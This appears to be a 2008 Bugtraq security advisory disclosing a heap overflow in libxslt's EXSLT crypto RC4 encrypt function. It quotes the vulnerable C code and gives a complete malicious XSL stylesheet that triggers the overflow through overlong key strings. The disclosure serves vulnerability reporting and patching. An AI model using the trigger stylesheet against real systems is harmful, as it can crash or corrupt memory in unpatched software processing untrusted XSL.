libxslt heap overflow

From: chris@scary.beasts.org
To: bugtraq@securityfocus.com
Cc:
Subject: libxslt heap overflow
Date:


Hi,

A heap overflow exists in libxslt when processing a crypto-related
built-in function.

Full technical details:
http://scary.beasts.org/security/CESA-2008-003.html

The faulty code can be summarized:

static void
exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
...
    key = xmlXPathPopString (ctxt);
    key_len = xmlUTF8Strlen (str);

...
    padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
    key_size = xmlUTF8Strsize (key, key_len);
    memcpy (padkey, key, key_size);
    memset (padkey + key_size, '\0', sizeof (padkey));
...


A statically-sized heap buffer is populated with an arbitrary-length
string from an incoming XSL function argument.

And the malicious XSL to trigger this:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:str="http://exslt.org/strings"
xmlns:crypto="http://exslt.org/crypto"
xmlns:math="http://exslt.org/math"

extension-element-prefixes="str crypto math">
<xsl:template match="/">
<xsl:value-of
select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/>

blah
</xsl:template>
</xsl:stylesheet>


Blog post for this, and future issues (with RSS):
http://scarybeastsecurity.blogspot.com/2008/07/buffer-overflow-in-libxslt.html
http://scarybeastsecurity.blogspot.com/

Cheers
Chris





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